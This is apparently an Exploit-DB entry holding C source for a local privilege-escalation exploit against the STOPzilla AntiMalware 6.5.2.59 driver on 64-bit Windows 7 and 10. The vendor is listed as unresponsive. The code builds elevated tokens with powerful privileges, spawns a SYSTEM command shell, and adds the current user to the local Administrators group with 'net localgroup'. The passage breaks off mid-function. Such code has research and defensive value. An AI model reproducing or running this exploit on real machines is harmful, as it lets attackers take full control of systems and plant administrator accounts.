Exploit-DB #45401
Description: STOPzilla AntiMalware 6.5.2.59 - Privilege Escalation (1)
Type: local
Platform: windows
Date: 2018-09-13
Author: Parvez Anwar

Exploit:
/*
# Exploit Title: STOPzilla AntiMalware 6.5.2.59 - Privilege Escalation
# Date: 2018-09-13
# Author: Parvez Anwar (@parvezghh)
# Vendor Homepage: https://www.stopzilla.com/
# Software link: https://download.stopzilla.com/binaries/stopzilla/auto_installer/STOPzillaAntiMalware.msi
# Tested Version: 6.5.2.59
# Driver Version: 3.0.23.0 - szkg64.sys
# Tested on OS: 64bit Windows 7 and Windows 10 (1803) 
# CVE ID: N/A
# Vendor fix url   - No response from vendor 
# Fixed Version    - 0day
# Fixed driver ver - 0day
# https://www.greyhathacker.net/?p=1025

*/

#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <sddl.h>

#pragma comment(lib,"winsta.lib")
#pragma comment(lib,"advapi32.lib")

#define SystemHandleInformation 16
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)
#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)

void WINAPI WinStationSwitchToServicesSession();


typedef unsigned __int64 QWORD;


typedef struct _SID_BUILTIN
{
     UCHAR Revision;
     UCHAR SubAuthorityCount;
     SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
     ULONG SubAuthority[2];
} SID_BUILTIN, *PSID_BUILTIN;


typedef struct _SID_INTEGRITY
{
     UCHAR Revision;
     UCHAR SubAuthorityCount;
     SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
     ULONG SubAuthority[1];
} SID_INTEGRITY, *PSID_INTEGRITY;


typedef NTSYSAPI NTSTATUS (NTAPI *_ZwCreateToken)(
     OUT PHANDLE TokenHandle,
     IN ACCESS_MASK DesiredAccess,
     IN POBJECT_ATTRIBUTES ObjectAttributes,
     IN TOKEN_TYPE Type,
     IN PLUID AuthenticationId,
     IN PLARGE_INTEGER ExpirationTime,
     IN PTOKEN_USER User,
     IN PTOKEN_GROUPS Groups,
     IN PTOKEN_PRIVILEGES Privileges,
     IN PTOKEN_OWNER Owner,
     IN PTOKEN_PRIMARY_GROUP PrimaryGroup,
     IN PTOKEN_DEFAULT_DACL DefaultDacl,
     IN PTOKEN_SOURCE Source
);


typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
     ULONG       ProcessId;
     UCHAR       ObjectTypeNumber;
     UCHAR       Flags;
     USHORT      Handle;
     QWORD       Object;
     ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;


typedef struct _SYSTEM_HANDLE_INFORMATION 
{
     ULONG NumberOfHandles;
     SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;


typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
     ULONG SystemInformationClass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength);



int GetWindowsVersion()
{
    int            ver = 0;
    OSVERSIONINFO  osvi;


    ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

    GetVersionEx(&osvi);

    if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1) ver = 1; // Windows 7
    if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 2) ver = 2; // Windows 10

    return ver;
}



int spawnShell(HANDLE hTokenElevated)
{
    STARTUPINFO          si;     
    PROCESS_INFORMATION  pi;

  
    ZeroMemory(&si, sizeof(STARTUPINFO));
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
    si.cb = sizeof(STARTUPINFO);
    si.lpDesktop = "WinSta0\\Default";
       
    if (!CreateProcessAsUser(hTokenElevated, NULL, "C:\\Windows\\System32\\cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
    {
        printf("\n[-] Failed to execute command (%d) Run exploit again\n\n", GetLastError());
        return -1;
    }
    printf("\n[+] Executed command successfully");	

    printf("\n[*] Switching session . . .\n\n");	
    WinStationSwitchToServicesSession();    	
   
    return 0;
}



int AddAccountToAdminGroup(HANDLE hTokenElevated)
{
    STARTUPINFO          si;     
    PROCESS_INFORMATION  pi;
    DWORD                currentusersize;
    char                 currentuser[100];
    char                 netcommand[MAX_PATH];            

 
    ZeroMemory(&si, sizeof(STARTUPINFO));
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
    si.cb = sizeof(STARTUPINFO);

    currentusersize = sizeof(currentuser);

    if (!GetUserName(currentuser, &currentusersize))
    {
        printf("\n[-] Failed to obtain current username: %d\n\n", GetLastError());
        return -1;
    }

    printf("\n[*] Adding current user '%s' account to the local administrators group", currentuser);

    sprintf(netcommand, "net localgroup Administrators %s /add", currentuser);        
       
    if (!CreateProcessAsUser(hTokenElevated, NULL, netcommand, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
    {
        printf("\n[-] Failed to execute command (%d) Run exploit again\n\n", GetLastError());
        return -1;
    }
    printf("\n[+] Executed command successfully\n");		
   
    return 0;
}



PTOKEN_PRIVILEGES SetPrivileges()
{
    PTOKEN_PRIVILEGES   privileges;
    LUID                luid;
    int                 NumOfPrivileges = 5;   
    int                 nBufferSize;  

                 
    nBufferSize = sizeof(TOKEN_PRIVILEGES) + sizeof(LUID_AND_ATTRIBUTES) * NumOfPrivileges;   
    privileges = (PTOKEN_PRIVILEGES) LocalAlloc(LPTR, nBufferSize);  

    privileges->PrivilegeCount = NumOfPrivileges;

    LookupPrivilegeValue(NULL, SE_TCB_NAME, &luid);
    privileges->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    privileges->Privileges[0].Luid = luid;
    
    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
    privileges->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
    privileges->Privileges[1].Luid = luid;    

    LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luid);
    privileges->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED;
    privileges->Privileges[2].Luid = luid;	

    LookupPrivilegeValue(NULL, SE_TAKE_OWNERSHIP_NAME, &luid);
    privileges->Privileges[3].Attributes = SE_PRIVILEGE_ENABLED;
    privileges->Privileges[3].Luid = luid;	

    Loo